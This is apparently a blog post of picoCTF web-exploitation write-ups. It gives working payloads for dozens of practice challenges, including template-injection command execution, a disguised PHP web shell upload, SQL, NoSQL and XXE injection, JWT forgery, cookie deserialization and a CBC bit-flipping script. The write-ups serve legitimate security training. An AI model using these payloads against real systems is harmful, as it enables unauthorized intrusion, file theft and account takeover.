PicoGym Challenges | Web Exploitation | PicoCTF | Medium
writeup medium picoctf web-exploitation
picoCTF is the perfect starting point for anyone stepping into cybersecurity. These writeups capture the basics — from simple logic to clever tricks — that build real skills, one flag at a time.
1. Pachinko

While exploring the challenge, I was redirected to a site with a digital circuit builder. The goal? Somehow get the flag by wiring up a virtual circuit.

Inside the provided server.tar.gz, I found this in index.js:
function doRun(res, memory) {
const flag = runCPU(memory);
const result = memory[0x1000] | (memory[0x1001] << 8);
if (memory.length < 0x1000) {
return res.status(500).json({ error: 'Memory length is too short' });
}
let resp = "";
if (flag) {
resp += FLAG2 + "n";
} else {
if (result === 0x1337) {
resp += FLAG1 + "n";
} else if (result === 0x3333) {
resp += "wrong answer :(n";
} else {
resp += "unknown error code: " + result;
}
}
res.status(200).json({ status: 'success', flag: resp });
}
So if memory at 0x1000 and 0x1001 combine to 0x1337, the flag is returned.
But here’s the twist — we can’t set memory directly. It’s influenced by random inputs and the circuit we send.
So I tried this trick:
➡️ Connected all 4 input nodes to all 4 output nodes — no logic gates, just direct wiring.

Then I kept submitting the same circuit.
After a few attempts… boom 💥

Flag: picoCTF{p4ch1nk0_f146_0n3_e947b9d7}
Sometimes, brute creativity wins.
2. SSTI2

To check for SSTI, I used a basic payload: {{7*7}}

Rendered 49
Next, I confirmed Jinja2 with: {{7*'7'}} -> 7777777
But advanced payloads like {{''.__class__.__mro__}} were blocked with a WAF message:
“Stop trying to break me >:(”
Upon playing for a while i got to know that the server filtered: Dot (.) notation, Underscores (_), Brackets ([]), Keywords like import, os, etc.
So I used the following bypass techniques:
- Replaced
.with|attr() - Encoded
_as\x5f - Replaced
[]with__getitem__ - Accessed
osusing:
__import__('os').popen('ls').read()
Payload to List Files:
{{ request | attr('application') | attr('\x5fglobals\x5f')
| attr('\x5fgetitem\x5f')('\x5fbuiltins\x5f')
| attr('\x5fgetitem\x5f')('\x5fimport\x5f')('os')
| attr('popen')('ls') | attr('read')()
}}
Output:
__pycache__ app.py flag requirements.txt
Payload to Read the Flag
{{ request | attr('application') | attr('\x5f\x5fglobals\x5f\x5f')
| attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')
| attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')
| attr('popen')('cat flag') | attr('read')()
}}
picoCTF{sst1_f1lt3r_byp4ss_7c3c6e7f}
3. 3v@l

We’re given a Flask-based banking app that evaluates user input using Python’s eval(). The frontend hints at a server-side template injection (SSTI) vulnerability :

Viewing the HTML source reveals developer comments:
<!--
TODO
------------
Secure python_flask eval execution by
1.blocking malcious keyword like os,eval,exec,bind,connect,python,socket,ls,cat,shell,bind
2.Implementing regex: r'0x[0-9A-Fa-f]+|\\u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2}|\.[A-Za-z0-9]{1,3}\b|[\\\/]|\.\.'
-->
This confirms two things:
- Python SSTI is being evaluated
- There’s a weak WAF that blocks dots, slashes, and known keywords like
os,cat, etc.
The challenge also hints:
1. Bypass regex
2. The flag file is /flag.txt
3. You might need encoding or dynamic construction to bypass restrictions.
Instead of using blocked keywords like os.popen("cat /flag.txt").read(), we can dynamically construct the payload:
open(chr(47) + "flag" + "." + "txt").read()
This clean payload read the contents of /flag.txt directly and returned the flag successfully.
Result: picoCTF{D0nt_Use_Unsecure_f@nctionsd062d012}
4. WebSockFish
I land on a chessboard with a talking fish — a quirky setup called Chess with WebSockfish.

I play and win using Stockfish, but no flag appears. I dive into the source and spot this:
stockfish.onmessage = function (event) {
var message;
// console.log(event.data);
if (event.data.startsWith("bestmove")) {
var bestMove = event.data.split(" ")[1];
var srcSq = bestMove.slice(0, 2);
var dstSq = bestMove.slice(2, 4);
var promotion = bestMove.slice(4);
game.move({ from: srcSq, to: dstSq, promotion: promotion });
board.position(game.fen());
} else if (event.data.startsWith(`info depth ${DEPTH}`)) {
var splitString = event.data.split(" ");
if (event.data.includes("mate")) {
message = "mate " + parseInt(splitString[9]);
} else {
message = "eval " + parseInt(splitString[9]);
}
sendMessage(message);
}
This is gold. Realised the site sends Stockfish analysis to the websocket server using sendMessage("eval " + score) or sendMessage("mate " + moves).
I test it out:
sendMessage("eval 0")
“The position is pretty equal.”
sendMessage("eval 100")→ Same response.
Let’s get bold:
-
sendMessage("eval -100")
-
Boom. Message changes.

After trying a few more values, the server spills the flag:
picoCTF{c1i3nt_s1d3_w3b_s0ck3t5_b820bcc2}
5. Apriti sesamo

We were given a website with a login page and two hints:
The developer uses Emacs
Look for backup files

Emacs creates backup files that end with ~
So we tried this URL http://verbal-sleep.picoctf.net:63131/impossibleLogin.php~

We found some obfuscated PHP source code in it.
Faild! No flag today";
} else {
if (sha1($user) === sha1($pwd)) {
echo file_get_contents("../flag.txt");
} else {
echo "
Failed: No Flag today";
}
}
}
?>
We need: sha1($user) === sha1($pwd)
But NOT: $user == $pwd
In PHP, if we send an array to sha1(), it returns null.
sha1(array) → returns null
But, array == array is false since they are not equal strings
We can do it with a simple curl command in the terminal:
curl -X POST http://verbal-sleep.picoctf.net:63131/impossibleLogin.php \
-H “Content-Type: application/x-www-form-urlencoded” \
— data “username[]=a&pwd[]=b”
This gives the flag:
picoCTF{w3Ll_d3sErV3d_Ch4mp_76d46a4d}
6. Trickster

I found a website that lets users upload PNG files. There’s an upload page for PNG images.

I went straight to /robots.txt and found a file: /instructions.txt

/instructions.txt:
Let's create a web app for PNG Images processing. It needs to: Allow users to upload PNG images look for ".png" extension in the submitted files make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" ) after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.
If it only checks the extension and the first 3 bytes, then… Why not upload a PHP script (web shell) that starts with those 3 PNG bytes?
Let’s download a basic PHP Web Shell (lets you run commands on the server)
- Add
PNGat the start of the file - Save the file as:
shell.png.php
Now it:
- Looks like a PNG (to bypass validation)
- Acts like PHP (to run on the server)
Upload the file:

Visit http://atlas.picoctf.net:51738/uploads/command_execute.png.php

Run find / -name "*.txt"

Found some .txt files. One of them had the flag.

picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_ab0ece03}
7. No Sql Injection

While analyzing the source code, I noticed the backend uses MongoDB and contains this vulnerable logic:
const user = await User.findOne({
email:
email.startsWith("{") && email.endsWith("}")
? JSON.parse(email)
: email,
password:
password.startsWith("{") && password.endsWith("}")
? JSON.parse(password)
: password,
});
If the email or password starts with { and ends with }, it’s parsed as JSON — opening the door to NoSQL injection.
Goal: Log in as the known user
{
firstName: "pico",
lastName: "player",
email: "picoplayer355@picoctf.org",
password:
}
We know the email, but not the password. To bypass the password check, we can use: "password”:{“$ne”:null}
On the login page, enter:
- Email:
picoplayer355@picoctf.org - Password:
{"$ne": null}

We’ll be logged in as the admin.

- Open DevTools → Application tab → Session Storage
- We’ll see a token (base64 encoded)

Decode it using CyberChef, base64 -d, or any decoder
picoCTF{jBhD2y7XoNzPv_1YxS9Ew5qL0uI6pasql_injection_67b1a3c8}
8. SOAP


Inspecting the HTML source, we find a form that submits data to /data using POST. The frontend loads xmlDetailsCheckPayload.js, hinting the request body is XML.
This, combined with the prompt to read /etc/passwd, clearly suggests a classic XXE (XML External Entity) vulnerability.
We craft a malicious XML with an external entity pointing to /etc/passwd:

Save it as xxe.xml.
Send using curl
curl -X POST http://saturn.picoctf.net:51560/data \ -H "Content-Type: application/xml" \ --data-binary @xxe.xml
The server returned the contents of /etc/passwd, and at the end, we find the flag:
picoCTF{XML_3xtern@l_3nt1t1ty_0dcf926e}
9. More SQLi

Upon opening the link to the website, we found a login form.

Let’s enter some random username and password. We got the query in response.

The application directly appends username and password to the query without the use of prepared statements, making it vulnerable to SQL injection.
Knowing that 1=1 is always true and we have password first, let’s enter the payload: ' OR 1 = 1; — — in the password field and test in the username field.
We are successfully logged into the account.
After login, we have the search bar. Using the hint that the database is SQLite, we can use the following payload to get the table details from sqlite_master:
' UNION SELECT name, sql, null FROM sqlite_master; --

There is a flag in more_table.
Payload to look into the flag:
' UNION SELECT flag, null, null FROM more_table; --
and we got the flag.
picoCTF{G3tting_5QL_1nJ3c7I0N_l1k3_y0u_sh0ulD_c8b7cc2a}
10. MatchTheRegex

Opening the URL gave a website.

I opened the source code and found something interesting:
function send_request() {
let val = document.getElementById("name").value;
// ^p.....F!?
fetch(`/flag?input=${val}`)
.then(res => res.text())
.then(res => {
const res_json = JSON.parse(res);
alert(res_json.flag)
return false;
})
return false;
}
This is used to match the regex in the input field.
I entered picoCTF, which are the starting characters of the flag, and I got the flag.
picoCTF{succ3ssfully_matchtheregex_9080e406}
11. Java Code Analysis!?!

Logging into the website using the given free user credentials.
There are three books, out of which one is the Flag book — only admin can read it.
Go to the Network tab → Application → Local Storage, where we can find auth-token and token-payload.

In the token-payload, we have:
{role: "Free", iss: "bookshelf", exp: 1754299429, iat: 1753694629, userId: 1, email: "user"}
We have to change our role to Admin to get access. So our new token-payload becomes:
{role:"Admin",iss:"bookshelf",exp:1754300463,iat:1753695663,userId:2,email:"admin"}
There is another token — auth-token — which is JWT encoded. Use a site like logto.io to decode and modify the token.

To sign the new token, we need the secret. In the provided source code, there’s a file SecretGenerator.java:
private String generateRandomString(int len) {
// not so random
return "1234";
}
So the secret is "1234".
Use this to sign the new token.

Paste the new auth-token and updated token-payload in local storage and refresh the page.
Now we can open the Flag book and read the flag.
picoCTF{w34k_jwt_n0t_g00d_d7c2e335}
12. findme

After opening the link, we see a login page asking for username test and password test!. After clicking the submit button, we’re redirected to the home page.

Opened the Network tab and captured the requests during this process.

Before landing on the home page, we were redirected through two URLs:
http://saturn.picoctf.net:61195/next-page/id=cGljb0NURntwcm94aWVzX2Fs
http://saturn.picoctf.net:61195/next-page/id=bF90aGVfd2F5XzAxZTc0OGRifQ==
These look like base64 strings. Use CyberChef to decode them.

Got the flag:
picoCTF{proxies_all_the_way_01e748db}
13. SQLiLite

Upon opening the website, we are given a login form.
Since it’s SQL, I tried a basic payload: ' OR '1'= '1'; --
This logged into the website and gave the next page.

Since the flag is in plain sight, I viewed the source code to check if it’s hidden there.
As expected, the flag was present in the source code:
picoCTF{L00k5_l1k3_y0u_solv3d_it_9b0a4e21}
14. SQL Direct

Here we are given a PostgreSQL server to connect with. So I connected using the provided credentials.

Typed help and found out that \? shows psql commands.

From there, I learned that \d is used to describe tables. There was a flags table, so I printed everything in it and got the flag:
!{}(https://miro.medium.com/v2/resize:fit:720/format:webp/1*U8BBb2A3mtj-4qVaJToptg.png)
picoCTF{L3arN_S0m3_5qL_t0d4Y_21c94904}
15. Secrets

We have got a website to experiment on.
By analysing the source code, I found a suspicious link and clicked on it — it took me to secret/assets/index.css

Out of curiosity, I checked the folder containing index.css but got a forbidden error. Thought maybe there’s something in the /secret/ directory.
Visited http://saturn.picoctf.net:53975/secret/ — the page source said I’m closer and gave another suspicious link.

Tried http://saturn.picoctf.net:53975/secret/hidden/file.css — nothing there. Explored more pages and found another suspicious link in source.

That link led to login.css. Nothing but a .css file 😫

Checking what’s there in superhidden folder.

Looked like the final stop. Checked the source code.

We got the flag:
picoCTF{succ3ss_@h3n1c@10n_790d2615}
16. Search source

The challenge hints that the key could be hidden either in an image or the source code. So I started checking the source files. Looked for any suspicious images or code sections. Since the source code had too many lines to go through manually, I used a tool-based approach.
Cloned the entire website using httrack for easier local inspection.

Then used grep to search for the flag:

Found the flag:
picoCTF{1nsp3ti0n_0f_w3bpag3s_ec95fa49}
17. Roboto Sans

First thing — checked /robots.txt.

Found some base64-looking strings. Threw them into CyberChef for decoding.

Used the decoded paths to navigate through the site. One of them led directly to the flag:

picoCTF{Who_D03sN7_L1k5_90B0T5_22ce1f22}
18. Power Cookie

Opened the site and clicked “Continue as Guest”.
Headed over to Application → Cookies.

Found a cookie: isAdmin = 0. Changed it to 1 and refreshed the page.

Boom- flag revealed 🔥
picoCTF{gr4d3_A_c00k13_0d351e23}
19. Forbidden Paths

Upon opening the website, we are encountered with a search bar asking to enter the filename.

Since we know that we are at /usr/share/nginx/html/ and the flag is at flag.txt
To bypass the filter, let’s go back by using (..) and enter: ../../../../flag.txt
and we got the flag.
picoCTF{7h3_p47h_70_5ucc355_e5a6fcbc}
20. JAuth

We are given a website which upon opening has a login form.
Username: test
Password: Test123!
Upon submitting, we got this.

There is nothing here. Let’s go to Applications -> Cookies.
Here we have a token cookie with some JWT token.

It is JSON encoded, so in order to decode it… let’s use jwt.io to decode the token.

Now encode the same by changing the role to admin and alg to none, because if the alg is set to anything other than none, then we need to sign it with a key. Since we don’t have the key, set it to none.

Copy the new JWT, paste it in the website, and refresh the page.

We got the flag:
picoCTF{succ3ss_@u7h3nt1c@710n_72bf8bd5}
21. caas

We can interact with the service by changing the {message} parameter in the URL: [https://caas.mars.picoctf.net/cowsay/{message}](https://caas.mars.picoctf.net/cowsay/{message})
Whatever message we enter shows up on the site.

Let’s try if command substitution works… by sending `ls`

Woah — we got the files. Looks like falg.txt might have the flag. Let’s check it out.

We got the flag:
picoCTF{moooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0o}
22. login

We get a login page upon opening the link.
Opened the source code and found an index.js file. Inside it, there’s a script with some base64-looking content.

Decoded it using CyberChef…

And got the flag:
picoCTF{53rv3r_53rv3r_53rv3r_53rv3r_53rv3r}
23. Super Serial

Upon opening the website, there’s a login form.
Checked /robots.txt — found /admin.phps.

Tried opening it — 404. Thought of changing index.php to index.phps — it worked.

Found another endpoint: authentication.php.
Tried authentication.phps — revealed another endpoint: cookie.php.

cookie.php gave nothing useful, so tried cookie.phps.

Looking at the source code, it’s clearly dealing with PHP object serialization.
There’s a class called access_log with methods like __construct() and __toString() — strong signs of a deserialization vulnerability.
Here’s how the class works:
log_fileis a public variable that stores a file path (can be controlled by us).__toString()callsread_log()which reads whatever file is inlog_file.
Then in cookie.phps, we see this:
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
If an error occurs, the script dies and prints:
Deserialization error. $perm
And since __toString() is triggered, it will try to read the file we set in log_file.
So we craft a malicious object to read the flag from ../flag.
Serialized payload:
O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}
Base64 encode it:
TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
Now make a request with this cookie:
curl mercury.picoctf.net:25395/authentication.php \ -H 'Cookie: login=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9'
And we got the flag in the response!
picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_405f4c0e}
24. Most Cookies

We land on a cookie search page — and a session cookie gets set.

Paste it into jwt.io, and got:
{
"very_auth": "snickerdoodle"
}
Look at server.py:
if check == "admin":
resp = make_response(render_template("flag.html", value=flag_value, title=title))
return resp
So if we can change "very_auth" to "admin", we get the flag.
Now the twist:
cookie_names = ["snickerdoodle", "chocolate chip", ..., "peanut butter", ...] app.secret_key = random.choice(cookie_names)
Only ~30 possible secret keys? Let’s brute-force it.
Create keys.txt with all the cookie names and run:
flask-unsign -u -c eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.aId-8Q.kzEIKAMoI1T3pO7_gwAYnjlhQCA -w keys.txt

Got the secret key: peanut butter
Sign a new cookie:
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret 'peanut butter'
Got: eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.aIeDAA.-NOeyfruKE82lHmhWAdwopvP8qw
Use that cookie → refresh the site → boom.
picoCTF{pwn_4ll_th3_cook1E5_22fe0842}
25. Web Gauntlet 2

We’re given a login page.
Looks like classic SQLi, but there’s a twist — the challenge filters some common keywords.

Opening filter.php shows the blacklist:

So we can’t do basic things like:
' OR '1'='1(blocked:or)- username =
admin(blocked:admin)
But we can bypass.
Use SQL string concatenation:
ad'||'min
This evaluates to "admin" but bypasses the filter.
Since OR is filtered, we’ll use:
a' IS NOT 'b
Still returns true.
**Final Payload:
**username: ad’||’min
password: a’ IS NOT ‘b

We got the flag in filter.php
picoCTF{0n3_m0r3_t1m3_e2db86ae880862ad471aa4c93343b2bf}
26. Some Assembly Required 1

When I opened the page source, I found a JS file: G82XCw5CX3.js. It was all on one line and hard to read.

This file is highly obfuscated and extremely hard to read on browser.
So, i asked chatgpt to make the code readable. Much better.

Noticed a long array at the top (like const _0x402c = [...]) and a weird function like:
const _0x4e0e = function(_a, _b) { ... }
From its logic, it maps indices to values in the array.
I renamed things like:
_0x402c→initialArray_0x4e0e→getArrayVal
Also found a self-invoking function that keeps shifting the array until some condition is met. That’s just to obfuscate the real strings.
TLDR: This chunk is meant to decode the array and get readable strings like
_"Incorrect!"_,_"check_flag"_, etc.
Step 3: Focus on the Flag Check Logic
Towards the end of the JS, found code bound to the submit button:
document.getElementById('submit').onclick = function() {
...
instance.exports.check_flag(input);
}
Here:
- The
instance.exportsis coming from a WebAssembly (WASM) file. - The WASM file is fetched from
/JIFxzHyW8W.
Step 4: Download and Analyze WASM File
Downloaded the file from [http://mercury.picoctf.net:1896/JIFxzHyW8W](http://mercury.picoctf.net:1896/JIFxzHyW8W)
Then ran:
file JIFxzHyW8W
Output:
WebAssembly (wasm) binary module version 0x1
Now we know the logic of flag checking is inside this WASM binary.
Step 5: Extract Flag from WASM
Instead of reverse engineering WASM bytecode, used:
strings JIFxzHyW8W | grep pico
Found the flag inside the binary as a string.
picoCTF{d88090e679c48f3945fcaa6a7d6d70c5}
27. Who are you?

We land on a page that says:
“Only official picobrowser members are allowed.”

Hmm 🤔 Let’s play with HTTP headers using Burp Suite.
User-Agent
Set to: picobrowser

➝ New message: “We don’t trust users visiting from another site.”
Referer
Add: mercury.picoctf.net:1270

➝ New message: “This site only worked in 2018.”
Date
Set to 2018

➝ New message: “I don’t trust users who can be tracked.”
DNT (Do Not Track)
Add: DNT: 1

➝ New message: “This website is only for people from Sweden.”
X-Forwarded-For
Spoof a Swedish IP: X-Forwarded-For: 192.121.0.1

➝ New message: “You don’t speak Swedish!”
Accept-Language
Set to: sv

➝ Boom! Got the flag.
picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_f56f58a5}
28. Some Assembly Required 2

Just like in Part 1, I opened the page and found an obfuscated JS file: Y8splx37qY.js
I threw it into jsnice.org to prettify it a bit.
Then ran strings on the file locally, and towards the bottom among the WebAssembly gibberish, I spotted this weird line:
+xakgK\Nsmn;j8j<9;:8k?l0u
Looked suspiciously like obfuscated data — maybe even the flag.
Eventually, I suspected XOR encoding, so I jumped into CyberChef and used the:
🔧 XOR Brute Force recipe (range 1–100)
Input:
xakgK\Nsmn;j8j<9;:8k?l0u
And boom 💥 — it was XORed with 0x08.
picoCTF{ef3b0b413475d7c00ee9f1a9b620c7d8}
29. Web Gauntlet 3

We’re given a familiar login form and a filter.php file that blocks specific keywords.
Since this looks just like Web Gauntlet 2, I reused the same SQL injection bypass:
- Username:
ad'||'min - Password:
a' IS NOT 'b
This worked again! 🏁
We get a message saying:
“you won. check out filter.php”
So I opened /filter.php, and there was the flag:
picoCTF{k3ep_1t_sh0rt_30593712914d76105748604617f4006a}
30. More Cookies

On the page, we’re told only admin can access the cookie search page. So I checked the browser cookies and noticed something interesting:

There’s an auth_name cookie that looks Base64-encoded.
I decoded it using CyberChef, but it still appeared to be gibberish — not a straightforward encoding.
The challenge gave two subtle hints:
- A reference to Homomorphic encryption — possibly a red herring.
- But more importantly, the letters “CBC” were strangely capitalized in the description.
This strongly suggested a CBC Bitflipping Attack.
In CBC mode, modifying bits in the ciphertext block can flip bits in the corresponding plaintext of the next block. So even though we can’t decrypt the cookie directly, we can manipulate it to change values like:
admin=False ⟶ admin=True
…but without knowing where that string lives, I brute-forced all possible positions and flipped each bit:
from base64 import b64decode, b64encode
import requests
original_cookie_b64 = "ODYxcFl1OVRUU3l0NTdyWkFJZ1luTndHS2ZLSk5zTG5Hd3NjNFJOTit0Zy9jRDRyZTlZajRkclFqQmVRQTlTdnJlS1NoTVV2MjVHa29lQmJ6TUg3S0NtVnE3by9wMWFPa28xMGZlZDllYThDNEFvaUMrYWlRQUV0NFVZaGF4Ky8="
original_cookie = bytearray(b64decode(original_cookie_b64))
url = 'http://mercury.picoctf.net:56136/'
def bitFlip(cookie_char_pos: int, bit_pos: int) -> str:
altered_cookie = bytearray(original_cookie)
altered_cookie[cookie_char_pos] ^= bit_pos
altered_cookie_b64 = b64encode(altered_cookie)
return altered_cookie_b64.decode('utf-8')
for cookie_char_pos in range(len(original_cookie)):
print(f"[+] Checking cookie position: {cookie_char_pos}")
for bit_pos in range(1, 128):
altered_cookie = bitFlip(cookie_char_pos, bit_pos)
cookies = {'auth_name': altered_cookie}
try:
r = requests.get(url, cookies=cookies, timeout=5)
t = r.text.lower()
if "picoctf{" in t:
print("[!] Flag found!")
print(r.text)
exit(0)
except requests.exceptions.RequestException as e:
print(f"[!] Request error: {e}")
print("[X] Finished searching, no flag found.")
The script worked — it flipped just the right bit and gave me:

picoCTF{cO0ki3s_yum_e491c430}
31. It is my Birthday

Got a web page with an option to upload two documents.

The prompt hints: “Two files that look similar and have the same md5 hash.”
Sounds like… MD5 collision
Googled and landed here: md5collision files
Downloaded erase and hello. Renamed them to erase.pdf and hello.pdf(just added .pdf extension). Uploaded both…
Boom — it worked. Got the flag:
picoCTF{c0ngr4ts_u_r_1nv1t3d_aad886b9}
32. Web Gauntlet

We actually did Web Gauntlet 2 & 3 first 😅 So this one felt like the prequel. There are 5 rounds, and after each successful login, filter.php gets updated with more restrictions.


Round 1
Filtered: or
Payload: admin'--
Logged in.
Round 2
Filtered: or, and, like, =, --
Used a classic bypass: admin' /*
Success.
Round 3
Filtered: or, and, =, like, >, <, -
Just tried: admin';
Yep.
Round 4
Filtered: or,and,like,=,--,>,<,admin
ad'||'min'; worked.
Logged in again.
Round 5
Filtered: or, and, =, like, >, <, -, union, admin
ad'||'min'; still passes
After all 5 rounds, visited filter.php and found the flag:
picoCTF{y0u_m4d3_1t_cab35b843fdd6bd889f76566c6279114}
33. Irish-Name-Repo 1

Landed on a login page.
View Source revealed a hidden input:
Changed it to 1 — let’s see what happens. Maybe it unlocks a debug bypass?
Tried a classic payload:
' OR 1=1; --
Logged in instantly.
picoCTF{s0m3_SQL_fb3fe2ad}
34. Client-side-again

Opened the webpage. Nothing fancy — but the source code had a block of obfuscated JavaScript.
var _0x5a46=['0a029}','_again_5','this','Password\x20Verified','Incorrect\x20password','getElementById','value','substring','picoCTF{','not_this'];(function(_0x4bd822,_0x2bd6f7){var _0xb4bdb3=function(_0x1d68f6){while(--_0x1d68f6){_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);}(_0x5a46,0x1b3));var _0x4b5b=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a46[_0x2d8f05];return _0x4d74cb;};function verify(){checkpass=document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];split=0x4;if(checkpass[_0x4b5b('0x2')](0x0,split*0x2)==_0x4b5b('0x3')){if(checkpass[_0x4b5b('0x2')](0x7,0x9)=='{n'){if(checkpass[_0x4b5b('0x2')](split*0x2,split*0x2*0x2)==_0x4b5b('0x4')){if(checkpass[_0x4b5b('0x2')](0x3,0x6)=='oCT'){if(checkpass[_0x4b5b('0x2')](split*0x3*0x2,split*0x4*0x2)==_0x4b5b('0x5')){if(checkpass['substring'](0x6,0xb)=='F{not'){if(checkpass[_0x4b5b('0x2')](split*0x2*0x2,split*0x3*0x2)==_0x4b5b('0x6')){if(checkpass[_0x4b5b('0x2')](0xc,0x10)==_0x4b5b('0x7')){alert(_0x4b5b('0x8'));}}}}}}}}else{alert(_0x4b5b('0x9'));}}
Deobfuscated it and found a sequence of checks using .substring() — classic hardcoded flag logic.
function verify() {
checkpass = document['getElementById']('pass')['value'];
split = 4;
if (checkpass.substring(0, 8) == 'picoCTF{') {
if (checkpass.substring(7, 9) == '{n') {
if (checkpass.substring(8, 16) == 'not_this') {
if (checkpass.substring(3, 6) == 'oCT') {
if (checkpass.substring(24, 32) == '0a029}') {
if (checkpass.substring(6, 11) == 'F{not') {
if (checkpass.substring(16, 24) == '_again_5') {
if (checkpass.substring(12, 16) == 'this') {
alert('Password Verified');
}
}
}
}
}
}
}
} else {
alert('Incorrect password');
}
}
Based on those checks, the password is:
picoCTF{not_this_again_50a029}
35. Irish-Name-Repo 2

Continuation of irish-name-repo 1 — this time likely with SQLi detection in place.
Tried: Username: admin'-- and logged in successfuly.
picoCTF{m0R3_SQL_plz_aee925db}
36. JaWT Scratchpad

An online scratchpad that gives a JWT token in cookies after entering any username. But “admin” is restricted.

- Enter some random username.
- Check cookies → JWT found.

- Decode it on jwt.io.

- Change
"user"to"admin"— but it’s signed with HS256, so we need the secret.
The page hints John → yep, John the Ripper + rockyou.txt.
john token.txt --wordlist=rockyou.txt
Found secret: ilovepico
Now:
- Go back to jwt.io
- Payload:
{ "user": "admin" } - Secret:
ilovepico - Copy the new signed token
- Replace in browser cookies
And boom 💥 — we’re admin.

picoCTF{jawt_was_just_what_you_thought_1ca14548}
37. picobrowser

A website with just a “Get Flag” button.
But clicking it? Nothing special.
Let’s intercept it with Burp Suite
- Click the button
- Intercept the request in BurpSuite
- Modify the
User-Agentheader to:
User-Agent: picobrowser
- Forward the request
Flag appears!
picoCTF{p1c0_s3cr3t_ag3nt_84f9c865}
38. Irish-Name-Repo 3

Looks familiar? Just like Part 2…
- Visit the admin login page
- View source — there’s a hidden field:
<input type="hidden" name="debug" value="0" /> - Change
debugto1using DevTools - Try basic SQLi:
' or 1 = 1; --

-
Huh?
orbecomesbe
ROT13 detected! -
Use:
' be 1 = 1; --
Logged in as admin.
picoCTF{3v3n_m0r3_SQL_7f5767f6}
Every challenge started with curiosity — a login form, a cookie, a hidden input, or a strange script. But with a little digging, decoding, and the right mindset, each turned into a small win. These weren’t just flags; they were lessons in how the web works, how it breaks, and how to think like an attacker.
This was never about being the best — just better than yesterday.
📝 You can also check out more of my writeups here: github.com/Bl0ss0mX5 and medium.com/@bl0ss0mx5
On to the next box.